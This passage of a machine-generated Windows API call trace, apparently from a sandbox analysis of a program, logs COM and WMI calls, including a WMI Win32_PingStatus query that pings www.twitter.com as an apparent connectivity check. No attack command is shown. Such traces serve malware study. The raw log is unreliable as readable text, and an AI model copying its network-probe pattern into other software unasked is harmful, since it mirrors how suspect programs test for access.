IUnknown:Release (This=0x5fc3b10) returned 0x3 [0161.742] IUnknown:Release (This=0x5fc3b10) returned 0x2 [0161.742] CoTaskMemFree (pv=0x5f6aed0) [0161.742] CoGetContextToken (in: pToken=0x5bdec54 | out: pToken=0x5bdec54) returned 0x0 [0161.742] IUnknown:AddRef (This=0x5fc3b10) returned 0x3 [0161.742] CoTaskMemAlloc (cb=0x4) returned 0x5f6aed0 [0161.742] IEnumWbemClassObject:Next (in: This=0x595a50, lTimeout=-1, uCount=0x1, apObjects=0x5f6aed0, puReturned=0x227a870 | out: apObjects=0x5f6aed0*=0x0, puReturned=0x227a870*=0x0) returned 0x1 [0161.743] CoTaskMemFree (pv=0x5f6aed0) [0162.750] CoTaskMemAlloc (cb=0x4) returned 0x5f6aed0 [0162.750] IEnumWbemClassObject:Next (in: This=0x595988, lTimeout=-1, uCount=0x1, apObjects=0x5f6aed0, puReturned=0x226eab4 | out: apObjects=0x5f6aed0*=0x0, puReturned=0x226eab4*=0x0) returned 0x1 [0162.753] CoTaskMemFree (pv=0x5f6aed0) [0162.754] CoGetContextToken (in: pToken=0x5bdee98 | out: pToken=0x5bdee98) returned 0x0 [0162.754] IUnknown:Release (This=0x595988) returned 0x1 [0162.754] IUnknown:Release (This=0x595988) returned 0x0 [0162.769] CoGetContextToken (in: pToken=0x5bdee98 | out: pToken=0x5bdee98) returned 0x0 [0162.769] IUnknown:Release (This=0x5958c0) returned 0x1 [0162.769] IUnknown:Release (This=0x5958c0) returned 0x0 [0162.777] CoGetContextToken (in: pToken=0x5bdec84 | out: pToken=0x5bdec84) returned 0x0 [0162.777] CoGetContextToken (in: pToken=0x5bdebe4 | out: pToken=0x5bdebe4) returned 0x0 [0162.777] CoGetContextToken (in: pToken=0x5bdebe4 | out: pToken=0x5bdebe4) returned 0x0 [0162.778] CoUnmarshalInterface (in: pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bdebd8 | out: ppv=0x5bdebd8*=0x5c11ec) returned 0x0 [0162.778] CoMarshalInterface (pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5c11ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0162.778] WbemLocator:IUnknown:QueryInterface (in: This=0x5c11ec, riid=0x5bdecb4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5bdecb0 | out: ppvObject=0x5bdecb0*=0x5f77200) returned 0x0 [0162.779] WbemLocator:IUnknown:Release (This=0x5c11ec) returned 0x1 [0162.779] IWbemServices:ExecQuery (in: This=0x5f77200, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.twitter.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x5bdef1c | out: ppEnum=0x5bdef1c*=0x5958c0) returned 0x0 [0162.796] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdece8 | out: ppvObject=0x5bdece8*=0x5958c4) returned 0x0 [0162.796] IClientSecurity:QueryBlanket (in: This=0x5958c4, pProxy=0x5958c0, pAuthnSvc=0x5bded38, pAuthzSvc=0x5bded34, pServerPrincName=0x5bded2c, pAuthnLevel=0x5bded30, pImpLevel=0x5bded20, pAuthInfo=0x5bded24, pCapabilites=0x5bded28 | out: pAuthnSvc=0x5bded38*=0xa, pAuthzSvc=0x5bded34*=0x0, pServerPrincName=0x5bded2c, pAuthnLevel=0x5bded30*=0x6, pImpLevel=0x5bded20*=0x2, pAuthInfo=0x5bded24, pCapabilites=0x5bded28*=0x1) returned 0x0 [0162.796] IUnknown:Release (This=0x5958c4) returned 0x1 [0162.796] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdecdc | out: ppvObject=0x5bdecdc*=0x5c12dc) returned 0x0 [0162.796] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdecc8 | out: ppvObject=0x5bdecc8*=0x5958c4) returned 0x0 [0162.797] IClientSecurity:SetBlanket (This=0x5958c4, pProxy=0x5958c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0162.822] IUnknown:Release (This=0x5958c4) returned 0x2 [0162.822] WbemLocator:IUnknown:Release (This=0x5c12dc) returned 0x1 [0162.822] CoTaskMemFree (pv=0x5f6dc58) [0162.822] IUnknown:AddRef (This=0x5958c0) returned 0x2 [0162.822] CoGetContextToken (in: pToken=0x5bde208 | out: pToken=0x5bde208) returned 0x0 [0162.822] CoGetContextToken (in: pToken=0x5bde61c | out: pToken=0x5bde61c) returned 0x0 [0162.822] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5b4 | out: ppvObject=0x5bde5b4*=0x5c12c4) returned 0x0 [0162.823] WbemLocator:IRpcOptions:Query (in: This=0x5c12c4, pPrx=0x5f71818, dwProperty=2, pdwValue=0x5bde6a8 | out: pdwValue=0x5bde6a8) returned 0x80004002 [0162.823] WbemLocator:IUnknown:Release (This=0x5c12c4) returned 0x2 [0162.823] CoGetContextToken (in: pToken=0x5bdebec | out: pToken=0x5bdebec) returned 0x0 [0162.823] CoGetContextToken (in: pToken=0x5bdeb4c | out: pToken=0x5bdeb4c) returned 0x0 [0162.823] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x5bdec1c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdeae8 | out: ppvObject=0x5bdeae8*=0x5958c0) returned 0x0 [0162.823] IUnknown:Release (This=0x5958c0) returned 0x2 [0162.823] WbemLocator:IUnknown:Release (This=0x5f77200) returned 0x0 [0162.823] SysStringLen (param_1=0x0) returned 0x0 [0162.824] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef68 | out: puCount=0x5bdef68*=0x2) returned 0x0 [0162.824] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef64*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef64*=0xf, pszText=0x0) returned 0x0 [0162.824] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef64*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef64*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.824] CoGetContextToken (in: pToken=0x5bdedbc | out: pToken=0x5bdedbc) returned 0x0 [0162.824] IEnumWbemClassObject:Clone (in: This=0x5958c0, ppEnum=0x5bdef74 | out: ppEnum=0x5bdef74*=0x595988) returned 0x0 [0162.832] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee30 | out: ppvObject=0x5bdee30*=0x59598c) returned 0x0 [0162.832] IClientSecurity:QueryBlanket (in: This=0x59598c, pProxy=0x595988, pAuthnSvc=0x5bdee80, pAuthzSvc=0x5bdee7c, pServerPrincName=0x5bdee74, pAuthnLevel=0x5bdee78, pImpLevel=0x5bdee68, pAuthInfo=0x5bdee6c, pCapabilites=0x5bdee70 | out: pAuthnSvc=0x5bdee80*=0xa, pAuthzSvc=0x5bdee7c*=0x0, pServerPrincName=0x5bdee74, pAuthnLevel=0x5bdee78*=0x6, pImpLevel=0x5bdee68*=0x2, pAuthInfo=0x5bdee6c, pCapabilites=0x5bdee70*=0x1) returned 0x0 [0162.832] IUnknown:Release (This=0x59598c) returned 0x1 [0162.832] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee24 | out: ppvObject=0x5bdee24*=0x5c11ec) returned 0x0 [0162.832] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee10 | out: ppvObject=0x5bdee10*=0x59598c) returned 0x0 [0162.833] IClientSecurity:SetBlanket (This=0x59598c, pProxy=0x595988, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0162.837] IUnknown:Release (This=0x59598c) returned 0x2 [0162.837] WbemLocator:IUnknown:Release (This=0x5c11ec) returned 0x1 [0162.837] CoTaskMemFree (pv=0x5f6db98) [0162.837] IUnknown:AddRef (This=0x595988) returned 0x2 [0162.837] CoGetContextToken (in: pToken=0x5bde340 | out: pToken=0x5bde340) returned 0x0 [0162.838] CoGetContextToken (in: pToken=0x5bde754 | out: pToken=0x5bde754) returned 0x0 [0162.838] IUnknown:QueryInterface (in: This=0x595988, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde6ec | out: ppvObject=0x5bde6ec*=0x5c11d4) returned 0x0 [0162.838] WbemLocator:IRpcOptions:Query (in: This=0x5c11d4, pPrx=0x5f71890, dwProperty=2, pdwValue=0x5bde7e0 | out: pdwValue=0x5bde7e0) returned 0x80004002 [0162.838] WbemLocator:IUnknown:Release (This=0x5c11d4) returned 0x2 [0162.838] CoGetContextToken (in: pToken=0x5bded24 | out: pToken=0x5bded24) returned 0x0 [0162.838] CoGetContextToken (in: pToken=0x5bdec84 | out: pToken=0x5bdec84) returned 0x0 [0162.838] IUnknown:QueryInterface (in: This=0x595988, riid=0x5bded54*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdec20 | out: ppvObject=0x5bdec20*=0x595988) returned 0x0 [0162.838] IUnknown:Release (This=0x595988) returned 0x2 [0162.838] SysStringLen (param_1=0x0) returned 0x0 [0162.838] IEnumWbemClassObject:Reset (This=0x595988) returned 0x0 [0162.840] CoTaskMemAlloc (cb=0x4) returned 0x5f6ad90 [0162.840] IEnumWbemClassObject:Next (in: This=0x595988, lTimeout=-1, uCount=0x1, apObjects=0x5f6ad90, puReturned=0x227af44 | out: apObjects=0x5f6ad90*=0x5f6b650, puReturned=0x227af44*=0x1) returned 0x0 [0162.848] IUnknown:QueryInterface (in: This=0x5f6b650, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5cc | out: ppvObject=0x5bde5cc*=0x5f6b650) returned 0x0 [0162.848] IUnknown:QueryInterface (in: This=0x5f6b650, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde580 | out: ppvObject=0x5bde580*=0x0) returned 0x80004002 [0162.848] IUnknown:QueryInterface (in: This=0x5f6b650, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde3a8 | out: ppvObject=0x5bde3a8*=0x0) returned 0x80004002 [0162.849] IUnknown:AddRef (This=0x5f6b650) returned 0x3 [0162.849] IUnknown:QueryInterface (in: This=0x5f6b650, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddedc | out: ppvObject=0x5bddedc*=0x0) returned 0x80004002 [0162.849] IUnknown:QueryInterface (in: This=0x5f6b650, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bdde8c | out: ppvObject=0x5bdde8c*=0x0) returned 0x80004002 [0162.849] IUnknown:QueryInterface (in: This=0x5f6b650, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdde98 | out: ppvObject=0x5bdde98*=0x5f6b654) returned 0x0 [0162.849] IMarshal:GetUnmarshalClass (in: This=0x5f6b654, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5bddea0 | out: pCid=0x5bddea0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0162.849] IUnknown:Release (This=0x5f6b654) returned 0x3 [0162.849] CoGetContextToken (in: pToken=0x5bddef8 | out: pToken=0x5bddef8) returned 0x0 [0162.849] CoGetContextToken (in: pToken=0x5bde30c | out: pToken=0x5bde30c) returned 0x0 [0162.849] IUnknown:QueryInterface (in: This=0x5f6b650, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde38c | out: ppvObject=0x5bde38c*=0x0) returned 0x80004002 [0162.849] IUnknown:Release (This=0x5f6b650) returned 0x2 [0162.849] CoGetContextToken (in: pToken=0x5bde8f4 | out: pToken=0x5bde8f4) returned 0x0 [0162.849] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0162.849] IUnknown:QueryInterface (in: This=0x5f6b650, riid=0x5bde924*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5bde920 | out: ppvObject=0x5bde920*=0x5f6b650) returned 0x0 [0162.849] IUnknown:AddRef (This=0x5f6b650) returned 0x4 [0162.849] IUnknown:Release (This=0x5f6b650) returned 0x3 [0162.849] IUnknown:Release (This=0x5f6b650) returned 0x2 [0162.849] CoTaskMemFree (pv=0x5f6ad90) [0162.850] CoGetContextToken (in: pToken=0x5bdec64 | out: pToken=0x5bdec64) returned 0x0 [0162.850] IUnknown:AddRef (This=0x5f6b650) returned 0x3 [0162.850] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bdef64*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bdefe4*=0, plFlavor=0x5bdefe0*=0 | out: pVal=0x5bdef64*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5bdefe4*=3, plFlavor=0x5bdefe0*=64) returned 0x0 [0162.850] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bdef48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bdefcc*=0, plFlavor=0x5bdefc8*=0 | out: pVal=0x5bdef48*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x5bdefcc*=8, plFlavor=0x5bdefc8*=64) returned 0x0 [0162.850] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.850] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.851] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x55c [0162.851] SetEvent (hEvent=0x3f4) returned 1 [0162.851] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bdef20*=0x55c, lpdwindex=0x5bded44 | out: lpdwindex=0x5bded44) returned 0x0 [0162.855] CoGetContextToken (in: pToken=0x5bdedf4 | out: pToken=0x5bdedf4) returned 0x0 [0162.855] CoGetContextToken (in: pToken=0x5bded54 | out: pToken=0x5bded54) returned 0x0 [0162.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x5bdee24*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bdee20 | out: ppvObject=0x5bdee20*=0x5df230) returned 0x0 [0162.855] WbemDefPath:IUnknown:AddRef (This=0x5df230) returned 0x3 [0162.855] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x2 [0162.855] WbemDefPath:IWbemPath:SetText (This=0x5df230, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0162.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdefa0 | out: puCount=0x5bdefa0*=0x2) returned 0x0 [0162.855] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef9c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef9c*=0xf, pszText=0x0) returned 0x0 [0162.855] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0162.855] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0162.855] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.855] IWbemClassObject:Get (in: This=0x5f6b650, wszName="Address", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227b9c4*=0, plFlavor=0x227b9c8*=0 | out: pVal=0x5bdef04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x227b9c4*=8, plFlavor=0x227b9c8*=0) returned 0x0 [0162.855] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.856] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.856] IWbemClassObject:Get (in: This=0x5f6b650, wszName="Address", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227b9c4*=8, plFlavor=0x227b9c8*=0 | out: pVal=0x5bdef0c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x227b9c4*=8, plFlavor=0x227b9c8*=0) returned 0x0 [0162.856] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.856] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.856] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0162.856] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0162.856] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.856] IWbemClassObject:Get (in: This=0x5f6b650, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227ba80*=0, plFlavor=0x227ba84*=0 | out: pVal=0x5bdef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227ba80*=19, plFlavor=0x227ba84*=0) returned 0x0 [0162.857] IWbemClassObject:Get (in: This=0x5f6b650, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227ba80*=19, plFlavor=0x227ba84*=0 | out: pVal=0x5bdef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227ba80*=19, plFlavor=0x227ba84*=0) returned 0x0 [0162.857] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0162.857] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0162.857] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.857] IWbemClassObject:Get (in: This=0x5f6b650, wszName="StatusCode", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227bb14*=0, plFlavor=0x227bb18*=0 | out: pVal=0x5bdef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227bb14*=19, plFlavor=0x227bb18*=0) returned 0x0 [0162.858] IWbemClassObject:Get (in: This=0x5f6b650, wszName="StatusCode", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227bb14*=19, plFlavor=0x227bb18*=0 | out: pVal=0x5bdef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227bb14*=19, plFlavor=0x227bb18*=0) returned 0x0 [0162.858] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0162.858] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0162.858] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.858] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c010*=0, plFlavor=0x227c014*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x227c010*=8, plFlavor=0x227c014*=64) returned 0x0 [0162.858] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.858] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.858] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c010*=8, plFlavor=0x227c014*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x227c010*=8, plFlavor=0x227c014*=64) returned 0x0 [0162.859] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.859] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.859] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0162.859] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0162.859] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.859] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c0ac*=0, plFlavor=0x227c0b0*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x227c0ac*=8, plFlavor=0x227c0b0*=64) returned 0x0 [0162.859] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.859] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.859] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c0ac*=8, plFlavor=0x227c0b0*=64 | out: 